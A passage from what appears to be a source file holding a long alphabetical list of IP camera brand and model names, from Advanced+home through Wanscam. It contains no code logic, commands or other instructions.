'Advanced+home lc-1140',\n            'Aeoss J6358',\n            'Aetos 400w',\n            'Agasio A500W',\n            'Agasio A502W',\n            'Agasio A512',\n            'Agasio A533W',\n            'Agasio A602W',\n            'Agasio A603W',\n            'Agasio Other',\n            'AirLink Other',\n            'Airmobi HSC321',\n            'Airsight Other',\n            'Airsight X10',\n            'Airsight X34A',\n            'Airsight X36A',\n            'Airsight XC39A',\n            'Airsight XX34A',\n            'Airsight XX36A',\n            'Airsight XX40A',\n            'Airsight XX60A',\n            'Airsight x10',\n            'Airsight x10Airsight',\n            'Airsight xc36a',\n            'Airsight xc49a',\n            'Airsight xx39A',\n            'Airsight xx40a',\n            'Airsight xx49a',\n            'Airsight xx51A',\n            'Airsight xx51a',\n            'Airsight xx52a',\n            'Airsight xx59a',\n            'Airsight xx60a',\n            'Akai AK7400',\n            'Akai SP-T03WP',\n            'Alecto 150',\n            'Alecto Atheros',\n            'Alecto DVC-125IP',\n            'Alecto DVC-150-IP',\n            'Alecto DVC-1601',\n            'Alecto DVC-215IP',\n            'Alecto DVC-255-IP',\n            'Alecto dv150',\n            'Alecto dvc-150ip',\n            'Alfa 0002HD',\n            'Alfa Other',\n            'Allnet 2213',\n            'Allnet ALL2212',\n            'Allnet ALL2213',\n            'Amovision Other',\n            'Android+IP+cam IPwebcam',\n            'Anjiel ip-sd-sh13d',\n            'Apexis AH9063CW',\n            'Apexis APM-H803-WS',\n            'Apexis APM-H804-WS',\n            'Apexis APM-J011',\n            'Apexis APM-J011-Richard',\n            'Apexis APM-J011-WS',\n            'Apexis APM-J012',\n            'Apexis APM-J012-WS',\n            'Apexis APM-J0233',\n            'Apexis APM-J8015-WS',\n            'Apexis GENERIC',\n            'Apexis H',\n            'Apexis HD',\n            'Apexis J',\n            'Apexis Other',\n            'Apexis PIPCAM8',\n            'Apexis Pyle',\n            'Apexis XF-IP49',\n            'Apexis apexis',\n            'Apexis apm-',\n            'Apexis dealextreme',\n            'Aquila+Vizion Other',\n            'Area51 Other',\n            'ArmorView Other',\n            'Asagio A622W',\n            'Asagio Other',\n            'Asgari 720U',\n            'Asgari Other',\n            'Asgari PTG2',\n            'Asgari UIR-G2',\n            'Atheros ar9285',\n            'AvantGarde SUMPPLE',\n            'Axis 1054',\n            'Axis 241S',\n            'B-Qtech Other',\n            'B-Series B-1',\n            'BRAUN HD-560',\n            'BRAUN HD505',\n            'Beaulieu Other',\n            'Bionics Other',\n            'Bionics ROBOCAM',\n            'Bionics Robocam',\n            'Bionics T6892WP',\n            'Bionics t6892wp',\n            'Black+Label B2601',\n            'Bravolink Other',\n            'Breno Other',\n            'CDR+king APM-J011-WS',\n            'CDR+king Other',\n            'CDR+king SEC-015-C',\n            'CDR+king SEC-016-NE',\n            'CDR+king SEC-028-NE',\n            'CDR+king SEC-029-NE',\n            'CDR+king SEC-039-NE',\n            'CDR+king sec-016-ne',\n            'CDXX Other',\n            'CDXXcamera Any',\n            'CP+PLUS CP-EPK-HC10L1',\n            'CPTCAM Other',\n            'Camscam JWEV-372869-BCBAB',\n            'Casa Other',\n            'Cengiz Other',\n            'Chinavasion Gunnie',\n            'Chinavasion H30',\n            'Chinavasion IP611W',\n            'Chinavasion Other',\n            'Chinavasion ip609aw',\n            'Chinavasion ip611w',\n            'Cloud MV1',\n            'Cloud Other',\n            'CnM IP103',\n            'CnM Other',\n            'CnM sec-ip-cam',\n            'Compro NC150/420/500',\n            'Comtac CS2',\n            'Comtac CS9267',\n            'Conceptronic CIPCAM720PTIWL',\n            'Conceptronic cipcamptiwl',\n            'Cybernova Other',\n            'Cybernova WIP604',\n            'Cybernova WIP604MW',\n            'D-Link DCS-910',\n            'D-Link DCS-930L',\n            'D-Link L-series',\n            'D-Link Other',\n            'DB+Power 003arfu',\n            'DB+Power DBPOWER',\n            'DB+Power ERIK',\n            'DB+Power HC-WV06',\n            'DB+Power HD011P',\n            'DB+Power HD012P',\n            'DB+Power HD015P',\n            'DB+Power L-615W',\n            'DB+Power LA040',\n            'DB+Power Other',\n            'DB+Power Other2',\n            'DB+Power VA-033K',\n            'DB+Power VA0038K',\n            'DB+Power VA003K+',\n            'DB+Power VA0044_M',\n            'DB+Power VA033K',\n            'DB+Power VA033K+',\n            'DB+Power VA035K',\n            'DB+Power VA036K',\n            'DB+Power VA038',\n            'DB+Power VA038k',\n            'DB+Power VA039K',\n            'DB+Power VA039K-Test',\n            'DB+Power VA040',\n            'DB+Power VA390k',\n            'DB+Power b',\n            'DB+Power b-series',\n            'DB+Power extcams',\n            'DB+Power eye',\n            'DB+Power kiskFirstCam',\n            'DB+Power va033k',\n            'DB+Power va039k',\n            'DB+Power wifi',\n            'DBB IP607W',\n            'DEVICECLIENTQ CNB',\n            'DKSEG Other',\n            'DNT CamDoo',\n            'DVR DVR',\n            'DVS-IP-CAM Other',\n            'DVS-IP-CAM Outdoor/IR',\n            'Dagro DAGRO-003368-JLWYX',\n            'Dagro Other',\n            'Dericam H216W',\n            'Dericam H502W',\n            'Dericam M01W',\n            'Dericam M2/6/8',\n            'Dericam M502W',\n            'Dericam M601W',\n            'Dericam M801W',\n            'Dericam Other',\n            'Digix Other',\n            'Digoo BB-M2',\n            'Digoo MM==BB-M2',\n            'Digoo bb-m2',\n            'Dinon 8673',\n            'Dinon 8675',\n            'Dinon SEGEV-105',\n            'Dinon segev-103',\n            'Dome Other',\n            'Drilling+machines Other',\n            'E-Lock 1000',\n            'ENSIDIO IP102W',\n            'EOpen Open730',\n            'EST ES-IP602IW',\n            'EST IP743W',\n            'EST Other',\n            'EZCam EPK-EP10L1',\n            'EZCam EZCam',\n            'EZCam Other',\n            'EZCam PAN/TILT',\n            'EZCam Pan/Tilt',\n            'EasyCam EC-101HD',\n            'EasyCam EC-101HDSD',\n            'EasyCam EC-101SD',\n            'EasyCam EC-102',\n            'EasyCam Other',\n            'EasyN 187',\n            'EasyN 1BF',\n            'EasyN 720P',\n            'EasyN F',\n            'EasyN F-136',\n            'EasyN F-M136',\n            'EasyN F-M166',\n            'EasyN F-M181',\n            'EasyN F-M1b1',\n            'EasyN F-SERIES',\n            'EasyN F133',\n            'EasyN F2-611B',\n            'EasyN F3',\n            'EasyN F3-166',\n            'EasyN F3-176M',\n            'EasyN F3-M166',\n            'EasyN F3-SERIES',\n            'EasyN F3-Series',\n            'EasyN F3-m187',\n            'EasyN F3M187',\n            'EasyN FS-613A-M136',\n            'EasyN FS-613B',\n            'EasyN FS-613B-M166',\n            'EasyN FS-613B-MJPEG',\n            'EasyN FS613',\n            'EasyN F_M10R',\n            'EasyN H3-V10R',\n            'EasyN H6-M137h',\n            'EasyN M091',\n            'EasyN Other',\n            'EasyN est-007660-611b',\n            'EasyN est-007660333',\n            'EasyN f',\n            'EasyN f-Series',\n            'EasyN f138',\n            'EasyN f_series',\n            'EasyN fseries',\n            'EasyN kitch',\n            'EasyN s',\n            'EasySE F/B/N/I',\n            'EasySE H3',\n            'EasySE H3e',\n            'EasySE Other',\n            'Ebode IPV38W',\n            'Ebode IPV58',\n            'Ebode Other',\n            'Ego Other',\n            'Elro 901',\n            'Elro 903',\n            'Elro 903IP',\n            'Elro C7031P',\n            'Elro C703IP2',\n            'Elro C704-IP',\n            'Elro C704IP',\n            'Elro C704IP.2',\n            'Elro C704ip',\n            'Elro C803IP',\n            'Elro C903IP',\n            'Elro C903IP.2',\n            'Elro C904IP',\n            'Elro C904IP.2',\n            'Elro IP901',\n            'Elro Other',\n            'Eminent 6564',\n            'Eminent EM6220',\n            'Eminent EM6564',\n            'Eminent em6220',\n            'Esky C5900',\n            'Esky L',\n            'Esky Live',\n            'Esky c5900',\n            'Eura-Tech IC-03C3',\n            'EyeCam ICAM-608',\n            'EyeCam IP65IW',\n            'EyeCam Other',\n            'EyeCam STORAGEOPTIONS',\n            'EyeIPCam IP901W',\n            'EyeSight ES-IP607W',\n            'EyeSight ES-IP811W',\n            'EyeSight ES-IP909IW',\n            'EyeSight ES-IP935FW',\n            'EyeSight ES-IP935IW',\n            'EyeSight IP910IW',\n            'EyeSight IP915IW',\n            'EyeSight Other',\n            'EyeSight ip609IW',\n            'EyeSight ip909iw',\n            'EyeSight ip915iw',\n            'EyeSight mjpeg',\n            'EyeSpy247 Other',\n            'F-Series FSERIES',\n            'F-Series Ip',\n            'F-Series Other',\n            'F-Series ip',\n            'First+Concept Other',\n            'Focuscam F19821W',\n            'Foscam FI18904w',\n            'Foscam FI18905E',\n            'Foscam FI18905W',\n            'Foscam FI18906w',\n            'Foscam FI1890W',\n            'Foscam FI18910E',\n            'Foscam FI18910W',\n            'Foscam FI18910w',\n            'Foscam FI18916W',\n            'Foscam FI18918W',\n            'Foscam FI18919W',\n            'Foscam FI19810W',\n            'Foscam FI8094W',\n            'Foscam FI81904W',\n            'Foscam FI8601W',\n            'Foscam FI8602W',\n            'Foscam FI8606W',\n            'Foscam FI8610w',\n            'Foscam FI8903W',\n            'Foscam FI8903W_Elita',\n            'Foscam FI8904',\n            'Foscam FI8904W',\n            'Foscam FI8905E',\n            'Foscam FI8905W',\n            'Foscam FI8905w',\n            'Foscam FI8906w',\n            'Foscam FI8907W',\n            'Foscam FI8908W',\n            'Foscam FI8909W',\n            'Foscam FI890W',\n            'Foscam FI8910',\n            'Foscam FI8910E',\n            'Foscam FI8910W',\n            'Foscam FI8910W_DW',\n            'Foscam FI8910w',\n            'Foscam FI8916W',\n            'Foscam FI8918',\n            'Foscam FI89180w',\n            'Foscam FI8918E',\n            'Foscam FI8918W',\n            'Foscam FI8918w',\n            'Foscam FI8919W',\n            'Foscam FI9804W',\n            'Foscam FI9805E',\n            'Foscam FI9810',\n            'Foscam FI9810W',\n            'Foscam FI9818',\n            'Foscam FI9820w',\n            'Foscam FI9821W',\n            'Foscam FI9821w',\n            'Foscam FL8910',\n            'Foscam FS18908W',\n            'Foscam FS8910',\n            'Foscam Fi8910',\n            'Foscam Other',\n            'Foscam fI8989w',\n            'Foscam fi1890w',\n            'Foscam fl8910w',\n            'FoxCam PTZ2084-L',\n            'GIGA gb',\n            'GT+ROAD HS-006344-SPSLM',\n            'General Other',\n            'Generic All-in-one',\n            'Generic Billy',\n            'Generic DomeA-Outdoor',\n            'Generic IP',\n            'Generic Other',\n            'Gi-star+srl IP6031W',\n            'Gigaeye GB',\n            'GoAhead EC-101SD',\n            'GoAhead GoAheadWebs',\n            'GoAhead IPCAM1',\n            'GoAhead IPCAM2',\n            'GoAhead Other',\n            'GoAhead thedon',\n            'GoCam Other',\n            'Goclever EYE',\n            'Goclever EYE2',\n            'Gotake GTK-TH01B',\n            'H+264+network+DVR 720p',\n            'H+264+network+DVR Other',\n            'H.264 Other',\n            'H6837WI Other',\n            'HD+IPC Other',\n            'HD+IPC SV3C',\n            'HDIPCAM Other',\n            'Heden CAMH04IPWE',\n            'Heden CAMHED02IPW',\n            'Heden CAMHED04IP',\n            'Heden CAMHED04IPWN',\n            'Heden CAMHEDIPWP',\n            'Heden Other',\n            'Heden VisionCam',\n            'Heden visionCam',\n            'HiSilicon Other',\n            'Hikvision DS-2CD2132',\n            'Histream RTSP',\n            'HooToo F-SERIES',\n            'HooToo HOOTOO',\n            'HooToo HT-IP006',\n            'HooToo HT-IP006N',\n            'HooToo HT-IP009HDP',\n            'HooToo HT-IP206',\n            'HooToo HT-IP207F',\n            'HooToo HT-IP210HDP',\n            'HooToo HT-IP210P',\n            'HooToo HT-IP212',\n            'HooToo IP009HDP',\n            'HooToo Other',\n            'HooToo apm-h803-mpc',\n            'Hsmartlink Other',\n            'Hungtek WIFI',\n            'ICAMView Other',\n            'ICam I908W',\n            'ICam IP-1',\n            'ICam Other',\n            'ICam Other2',\n            'ICam dome',\n            'INISOFT-CAM Stan',\n            'INSTAR 4010',\n            'INVID Other',\n            'IO+Data Other',\n            'IP66 Other',\n            'IPC IPC02',\n            'IPC Other',\n            'IPC S5030-TF',\n            'IPC S5030-m',\n            'IPC SRICAM',\n            'IPCC 3XPTZ',\n            'IPCC 7210W',\n            'IPCC IPCC-7210W',\n            'IPCC x01',\n            'IPTeles Other',\n            'IPUX ip-100',\n            'ISIT Other',\n            'IZOtech Other',\n            'IZTOUCH 0009',\n            'IZTOUCH A001',\n            'IZTOUCH IZ-009',\n            'IZTOUCH LTH-A8645-c15',\n            'IZTOUCH Other',\n            'IZTOUCH Other1',\n            'IZTOUCH ap001',\n            'IeGeek Other',\n            'IeGeek ukn',\n            'Inkovideo V-104',\n            'Iprobot3 Other',\n            'JRECam JM3866W',\n            'JWcam JWEV',\n            'JWcam Other',\n            'Jaycar 3834',\n            'Jaycar 720P',\n            'Jaycar Other',\n            'Jaycar QC-3831',\n            'Jaycar QC-3832',\n            'Jaycar QC-3834',\n            'Jaycar QC-3836',\n            'Jaycar QC-3839',\n            'Jaytech IP6021W',\n            'JhempCAM Back',\n            'JhempCAM Other',\n            'KaiKong 1601',\n            'KaiKong 1602w',\n            'KaiKong Other',\n            'KaiKong SIP',\n            'KaiKong SIP1602',\n            'KaiKong SIP1602W',\n            'KaiKong sip',\n            'KaiKong sip1602w',\n            'Kenton gjc02',\n            'Kinson C720PWIP',\n            'Klok Other',\n            'Knewmart KW01B',\n            'Knewmart KW02B',\n            'Kogan KAIPC01BLKA',\n            'Kogan KAIPCO1BLKA',\n            'Kogan Other',\n            'Kogan encoder',\n            'Kogan kaipc01blkb',\n            'Kompernass IUK',\n            'Koolertron Other',\n            'Koolertron PnP',\n            'Koolertron SP-SHEX21-SL',\n            'LC+security Other',\n            'LW lw-h264tf',\n            'LYD H1385H',\n            'Lager Other',\n            'Leadtek C351',\n            'LevelOne 1010/2010',\n            'Libor Other',\n            'LifeTech MyLifeTech',\n            'LifeTech Other',\n            'LifeTech dd',\n            'Lilly Other',\n            'Linq Other',\n            'Lloyds 1107',\n            'Loftek CXS',\n            'Loftek Nexus',\n            'Loftek Other',\n            'Loftek SPECTOR',\n            'Loftek Sendinel',\n            'Loftek Sentinel',\n            'LogiLink WC0030A',\n            'LogiLink wc0044',\n            'Logitech C920',\n            'MCL 610',\n            'MJPEG Other',\n            'Maginon 100',\n            'Maginon 10AC',\n            'Maginon 20C',\n            'Maginon IP-20c',\n            'Maginon IPC',\n            'Maginon IPC-1',\n            'Maginon IPC-10',\n            'Maginon IPC-100',\n            'Maginon IPC-100AC',\n            'Maginon IPC-10AC',\n            'Maginon IPC-2',\n            'Maginon IPC-20',\n            'Maginon IPC20C',\n            'Maginon IPC_1A',\n            'Maginon Other',\n            'Maginon SUPRA',\n            'Maginon Supra',\n            'Maginon ipc',\n            'Maginon ipc-1a',\n            'Maginon ipc100a',\n            'Maginon ipx',\n            'Maginon w2',\n            'Marmitek GM-8126',\n            'Maygion IP',\n            'Maygion OTHER2',\n            'Maygion Other',\n            'Maygion V3',\n            'Maygion black',\n            'Mediatech mt4050',\n            'Medisana SmartBabyMonitor',\n            'Merlin IP',\n            'Merlin Other',\n            'Merlin vstc',\n            'Messoa Other',\n            'Mingyoushi S6203Y-WR',\n            'Momentum 2002',\n            'Momentum MO-CAM',\n            'NEXCOM S-CAM',\n            'NIP NIP-004500-KMTLU',\n            'NIP NIP-075007-UPHTF',\n            'NIP NIP-11BGPW',\n            'NIP NIP-14',\n            'NTSE Other',\n            'Neewer Other',\n            'Neewer V-100',\n            'Neo+CoolCam NIP',\n            'Neo+CoolCam NIP-02(OAM)',\n            'Neo+CoolCam NIP-06',\n            'Neo+CoolCam NIP-066777-BWESL',\n            'Neo+CoolCam NIP-102428-DFBEF',\n            'Neo+CoolCam NIP-H20(OZX)',\n            'Neo+CoolCam OBJ-007260-LYLDU',\n            'Neo+CoolCam Other',\n            'Neo+CoolCam neo',\n            'Neo+CoolCam nip-11',\n            'Neo+CoolCam nip-20',\n            'Ness Other',\n            'NetView Other',\n            'Netcam Dual-HD',\n            'Netcam HSL-232245-CWXES',\n            'Netcam OUVIS',\n            'Netcam Other',\n            'Netware Other',\n            'Nexxt+Solution Xpy',\n            'Nixzen Other',\n            'NorthQ NQ-9006',\n            'Office+One CM-I11123BK',\n            'Office+One IP-900',\n            'Office+One IP-99',\n            'Office+One Other',\n            'Office+One SC-10IP',\n            'Office+One ip-900',\n            'Office+One ip900',\n            'Opexia OPCS',\n            'Optica+Video FI-8903W',\n            'Optica+Video FI-8918W',\n            'Optica+Video Other',\n            'Otto 4eye',\n            'Overmax CamSpot',\n            'Overmax Camspot',\n            'OwlCam CP-6M201W',\n            'P2p wificam',\n            'PCS Other',\n            'Panasonic BL-C131A',\n            'PeopleFu IPC-674',\n            'PeopleFu IPCAM1',\n            'PeopleFu IPCAM2',\n            'PeopleFu IPCAM3',\n            'PeopleFu IPCAM5',\n            'Pixpo 1Z074A2A0301627785',\n            'Pixpo PIX006428BFYZY',\n            'Pixpo PIX009491MLJYM',\n            'Pixpo PIX009495HURFE',\n            'Pixpo PIX010584DFACE',\n            'Plaisio IP',\n            'Planex Other',\n            'Planex PLANEX',\n            'Polariod P351S',\n            'Polaroid IP-100',\n            'Polaroid IP-101W',\n            'Polaroid IP-200B',\n            'Polaroid IP-201B',\n            'Polaroid IP-350',\n            'Polaroid IP-351S',\n            'Polaroid IP-360S',\n            'Polaroid IP-810W',\n            'Polaroid IP-810WZ',\n            'Polaroid Other',\n            'Polaroid POLIP101W',\n            'Polaroid POLIP201B',\n            'Polaroid POLIP201W',\n            'Polaroid POLIP351S',\n            'Polaroid POLIP35i5',\n            'PowerLead Caue',\n            'PowerLead PC012',\n            'ProveCam IP2521',\n            'Provision 717',\n            'Provision F-717',\n            'Provision F-737',\n            'Provision PT-737',\n            'Provision WP-711',\n            'Provision WP-717P',\n            'Pyle HD',\n            'Pyle HD22',\n            'Pyle HD46',\n            'Pyle Mine',\n            'Pyle PIPCAM15',\n            'Pyle Pipcam12',\n            'Pyle cam5',\n            'Pyle pipcam25',\n            'Pyle pipcam5',\n            'Q-nest QN-100S',\n            'Q-nest qn-100s',\n            'Queback 720p',\n            'ROCAM NC-400',\n            'ROCAM NC-500',\n            'ROCAM NC300',\n            'ROCAM NC300-1',\n            'ROHS IP',\n            'ROHS none',\n            'RTX 06R',\n            'RTX DVS',\n            'RTX IP-06R',\n            'RTX IP-26H',\n            'RTX Other',\n            'Rollei safetycam-10hd',\n            'SES Other',\n            'SKJM Other',\n            'SST SST-CNS-BUI18',\n            'SVB+International SIP-018262-RYERR',\n            'SafeHome 278042',\n            'SafeHome 616-W',\n            'SafeHome IP601W-hd',\n            'SafeHome Other',\n            'SafeHome VGA',\n            'SafeHome iprobot',\n            'Samsung Other',\n            'Santec-Video Other',\n            'Sarotech IPCAM-1000',\n            'Sarotech ip300',\n            'Scricam 004',\n            'Scricam 192.168.1.7',\n            'Scricam AP-004',\n            'Scricam AP-009',\n            'Scricam AP0006',\n            'Scricam AP006',\n            'Secam+CCTV IPCAM',\n            'Secam+CCTV Other',\n            'Seculink 10709',\n            'Seculink Other',\n            'Secur+Eye xxc5330',\n            'Seisa JK-H616WS',\n            'Senao PTZ-01H',\n            'Sequrecam Other',\n            'Sequrecam PNP-125',\n            'Sercomm Other',\n            'Shenwhen+Neo+Electronic+Co NC-541',\n            'Shenwhen+Neo+Electronic+Co Other',\n            'Shenwhen+Neo+Electronic+Co X-5000B',\n            'Shenzhen 720P',\n            'Shixin+China IP-129HW',\n            'Siepem IPC',\n            'Siepem S5001Y-BW',\n            'Siepem S6203y',\n            'Siepem S6211Y-WR',\n            'Simi+IP+Camera+Viewer Other',\n            'Sineoji Other',\n            'Sineoji PT-315V',\n            'Sineoji PT-3215P',\n            'Sineoji PT-325IP',\n            'Sinocam Other',\n            'Sky+Genious Genious',\n            'Skytronic IP',\n            'Skytronic IP99',\n            'Skytronic Other',\n            'Skytronic WiFi',\n            'Skytronic dome',\n            'SmartEye Other',\n            'SmartWares C723IP',\n            'SmartWares c724ip',\n            'SmartWares c923ip',\n            'SmartWares c924ip',\n            'Solwise SEC-1002W-IR',\n            'Spy+Cameras WF-100PCX',\n            'Spy+Cameras WF-110V',\n            'Sricam 0001',\n            'Sricam 004',\n            'Sricam A0009',\n            'Sricam A001',\n            'Sricam AP-001',\n            'Sricam AP-003',\n            'Sricam AP-004',\n            'Sricam AP-005',\n            'Sricam AP-006',\n            'Sricam AP-009',\n            'Sricam AP-012',\n            'Sricam AP-CAM',\n            'Sricam AP0009',\n            'Sricam AP002',\n            'Sricam AP995',\n            'Sricam Cam1',\n            'Sricam Front',\n            'Sricam Home',\n            'Sricam Other',\n            'Sricam SP005',\n            'Sricam SP012',\n            'Sricam SP013',\n            'Sricam SP015',\n            'Sricam SRICAM',\n            'Sricam SRICAM1',\n            'Sricam aj-c2wa-c118',\n            'Sricam ap',\n            'Sricam ap006',\n            'Sricam ap1',\n            'Sricam h.264',\n            'Sricam sp013',\n            'Sricctv A-0006',\n            'Sricctv A-009',\n            'Sricctv AJ-006',\n            'Sricctv AP-0001',\n            'Sricctv AP-0005',\n            'Sricctv AP-0009',\n            'Sricctv AP-001',\n            'Sricctv AP-002',\n            'Sricctv AP-003',\n            'Sricctv AP-004',\n            'Sricctv AP-004AF',\n            'Sricctv AP-005',\n            'Sricctv AP-006',\n            'Sricctv AP-007',\n            'Sricctv AP-008',\n            'Sricctv AP-009',\n            'Sricctv AP-011',\n            'Sricctv AP-014',\n            'Sricctv H-264',\n            'Sricctv Other',\n            'Sricctv P2P-BLACK',\n            'Sricctv P2P-Black',\n            'Sricctv SP-007',\n            'Sricctv SR-001',\n            'Sricctv SR-004',\n            'Star+Vedia 6836',\n            'Star+Vedia 7837-WIP',\n            'Star+Vedia C-7835WIP',\n            'Star+Vedia Other',\n            'Star+Vedia T-6836WTP',\n            'Star+Vedia T-7833WIP',\n            'Star+Vedia T-7837WIP',\n            'Star+Vedia T-7838WIP',\n            'StarCam C33-X4',\n            'StarCam EY4',\n            'StarCam F6836W',\n            'StarCam Other',\n            'StarCam c7837wip',\n            'Stipelectronics Other',\n            'Storage+Options HOMEGUARD',\n            'Storage+Options Other',\n            'Storage+Options SON-IPC1',\n            'Sumpple 610',\n            'Sumpple 610S',\n            'Sumpple 631',\n            'Sumpple 960P',\n            'Sumpple S601',\n            'Sumpple S610',\n            'Sumpple S631',\n            'Sumpple S651',\n            'Sumpple qd300',\n            'Sumpple s631',\n            'SunVision+US Other',\n            'Sunbio Other',\n            'Suneyes Other',\n            'Suneyes SP-T01EWP',\n            'Suneyes SP-T01WP',\n            'Suneyes SP-TM01EWP',\n            'Suneyes SP-TM01WP',\n            'Suneyes SP-tm05wp',\n            'Sunluxy H-264',\n            'Sunluxy HZCam',\n            'Sunluxy Other',\n            'Sunluxy PTZ',\n            'Sunluxy SL-701',\n            'Supra+Space IPC',\n            'Supra+Space IPC-1',\n            'Supra+Space IPC-100AC',\n            'Supra+Space IPC-10AC',\n            'Supra+Space Other11',\n            'Supra+Space ipc-20c',\n            'Sure-Eye Other',\n            'Surecom LN-400',\n            'Swann 005FTCD',\n            'Swann 440',\n            'Swann 440-IPC',\n            'Swann ADS-440',\n            'Swann ADS-440-PTZ',\n            'Swann ADS-CAMAX1',\n            'Swann Other',\n            'Swann SWADS-440-IPC',\n            'Swann SWADS-440IPC-AU',\n            'Sygonix 43176A',\n            'Sygonix 43558A',\n            'Szneo CAM0X',\n            'Szneo CoolCam',\n            'Szneo NIP',\n            'Szneo NIP-0',\n            'Szneo NIP-02',\n            'Szneo NIP-031',\n            'Szneo NIP-031H',\n            'Szneo NIP-06',\n            'Szneo NIP-12',\n            'Szneo NIP-2',\n            'Szneo NIP-20',\n            'Szneo NIP-210485-ABABC',\n            'Szneo NIP-26',\n            'Szneo NIP-X',\n            'Szneo NP-254095',\n            'Szneo Other',\n            'Szneo TFD',\n            'TAS-Tech Other',\n            'Technaxx tx-23',\n            'Techview GM8126',\n            'Techview QC-3638',\n            'Techview qc3839',\n            'Temvis Other',\n            'Tenda C50S',\n            'Tenda c30',\n            'Tenda c5+',\n            'Tenvis 0012',\n            'Tenvis 3815',\n            'Tenvis 3815-W',\n            'Tenvis 3815W',\n            'Tenvis 3815W.',\n            'Tenvis 3815W2013',\n            'Tenvis IP-319W',\n            'Tenvis IP-319w',\n            'Tenvis IP-391W',\n            'Tenvis IP-391WHD',\n            'Tenvis IP-602W',\n            'Tenvis IP602W',\n            'Tenvis IPROBOT',\n            'Tenvis JP-3815W',\n            'Tenvis JPT-3814WP2P',\n            'Tenvis JPT-3815',\n            'Tenvis JPT-3815-P2P',\n            'Tenvis JPT-3815W',\n            'Tenvis JPT-3815W+',\n            'Tenvis JPT-3815WP2P',\n            'Tenvis JPT-3815w',\n            'Tenvis JPT-3818',\n            'Tenvis MINI-319W',\n            'Tenvis Mini-319',\n            'Tenvis Other',\n            'Tenvis PT-7131W',\n            'Tenvis TH-661',\n            'Tenvis TR-3818',\n            'Tenvis TR-3828',\n            'Tenvis TR3815W',\n            'Tenvis TZ100',\n            'Tenvis TZ100/IPROBOT3',\n            'Tenvus JPG3815W',\n            'Threeboy IP-660',\n            'Topcam SL-30IPC01Z',\n            'Topcam SL-720IPC02Z',\n            'Topcam SL-910IW30',\n            'Topica+CCTV Other',\n            'Trivision NC-335PW-HD-10',\n            'Trust NW-7500',\n            'Turbo+X Endurance',\n            'Turbo+X IIPC-20',\n            'Uokoo 720P',\n            'VCatch Other',\n            'VCatch VC-MIC720HK',\n            'Valtronics IP',\n            'Valtronics Other',\n            'Vandesc IP900',\n            'Vantech Other',\n            'Vantech PTZ',\n            'Videosec+Security IPC-103',\n            'Videosec+Security IPP-105',\n            'Vimicro Other',\n            'Vitek+CCTV Other',\n            'Vstarcam 7823',\n            'Vstarcam C-7824WIP',\n            'Vstarcam C-7833WIP-X4',\n            'Vstarcam C-7833wip',\n            'Vstarcam C-7837WIP',\n            'Vstarcam C-7838WIP',\n            'Vstarcam C50S',\n            'Vstarcam C7816W',\n            'Vstarcam C7824WIP',\n            'Vstarcam C782WIP',\n            'Vstarcam C7842WIP',\n            'Vstarcam C93',\n            'Vstarcam C=7824WIP',\n            'Vstarcam Cam360',\n            'Vstarcam F-6836W',\n            'Vstarcam H-6837WI',\n            'Vstarcam H-6837WIP',\n            'Vstarcam H-6850',\n            'Vstarcam H-6850WIP',\n            'Vstarcam H-6850wip',\n            'Vstarcam ICAM-608',\n            'Vstarcam Other',\n            'Vstarcam T-6835WIP',\n            'Vstarcam T-6836WTP',\n            'Vstarcam T-6892wp',\n            'Vstarcam T-7815WIP',\n            'Vstarcam T-7833WIP',\n            'Vstarcam T-7833wip',\n            'Vstarcam T-7837WIP',\n            'Vstarcam T-7838WIP',\n            'Vstarcam T-7892WIP',\n            'Vstarcam T6836WTP',\n            'Vstarcam T7837WIP',\n            'Vstarcam c7815wip',\n            'Vstarcam c7833wip',\n            'Vstarcam c7850wip',\n            'Wanscam 00D6FB01980F',\n            'Wanscam 106B',\n            'Wanscam 118',\n            'Wanscam 541-W',\n            'Wanscam 543-W',\n            'Wanscam 790',\n            'Wanscam AJ-C0WA-198',\n            'Wanscam AJ-C0WA-B106',\n            'Wanscam AJ-C0WA-B116',\n            'Wanscam AJ-C0WA-B168',\n            'Wanscam AJ-C0WA-B1D8',\n            'Wanscam AJ-C0WA-C0D8',\n            'Wanscam AJ-C0WA-C116',\n            'Wanscam AJ-C0WA-C126',\n            'Wanscam AJ-C2WA-B118',\n            'Wanscam AJ-C2WA-C116',\n            'Wanscam AJ-C2WA-C118',\n            'Wanscam AJ-C2WA-C198',\n            'Wanscam AJ-COWA-B1D8',\n            'Wanscam AJ-COWA-C116',\n            'Wanscam AJ-COWA-C126',\n            'Wanscam AJ-COWA-C128',\n            'Wanscam AW00004J',\n            'Wanscam B1D8-1',\n            'Wanscam C-118',\n            'Wanscam C-126',\n            'Wanscam Colour',\n            'Wanscam FI-18904w',\n            'Wanscam FR-4020A2',\n            'Wanscam FR4020A2',\n            'Wanscam HD-100W',\n            'Wanscam HW-0021',\n            'Wanscam HW-0022',\n            'Wanscam HW-0022HD',\n            'Wanscam HW-0023',\n            'Wanscam HW-0024',\n            'Wanscam HW-0025',\n            'Wanscam HW-0026',\n            'Wanscam HW-0028',\n            'Wanscam HW-0033',\n            'Wanscam HW-0036',\n            'Wanscam HW-0038',\n            'Wanscam HW-0039',\n            'Wanscam HW-22',\n            'Wanscam HW0030',\n            'Wanscam IP',\n            'Wanscam JW-0001',\n            'Wanscam JW-0003',\n            'Wanscam JW-0004',\n            'Wanscam JW-0004m',\n            'Wanscam JW-0005',\n            'Wanscam JW-0006',\n            'Wanscam JW-0008',\n            'Wanscam JW-0009',\n            'Wanscam JW-0010',\n            'Wanscam JW-0011',\n            'Wanscam JW-0011l',\n            'Wanscam JW-0012',\n            'Wanscam JW-0018',\n            'Wanscam JW-004',\n            'Wanscam JW-009',\n            'Wanscam JW-CD',\n            'Wanscam JW000008',\n            'Wanscam JW0009',\n            'Wanscam JW001',\n            'Wanscam JW0012',\n            'Wanscam JW008',\n            'Wanscam JWEV',\n            'Wanscam JWEV-011777-NSRVV',\n            'Wanscam JWEV-011921-RXSXT',\n            'Wanscam JWEV-360171-BBEAC',\n            'Wanscam JWEV-380096-CECDB',\n            'Wanscam JWEV-PEPLOW',\n            'Wanscam NBC-543W',\n            'Wanscam NC-530',\n            'Wanscam NC-541',\n            'Wanscam NC-541/W',\n            'Wanscam NC-541W',\n            'Wanscam NC-541w',\n            'Wanscam NC-543W',\n            'Wanscam NCB-534W',\n            'Wanscam NCB-540W',\n            'Wanscam NCB-541W',\n            'Wanscam NCB-541WB',\n            'Wanscam NCB-543W',\n            'Wanscam NCBL-618W',\n            'Wanscam NCH-532MW',\n            'Wanscam NCL-610W',\n            'Wanscam NCL-612W',\n            'Wanscam NCL-616W',\n            'Wanscam NCL-S616W',\n            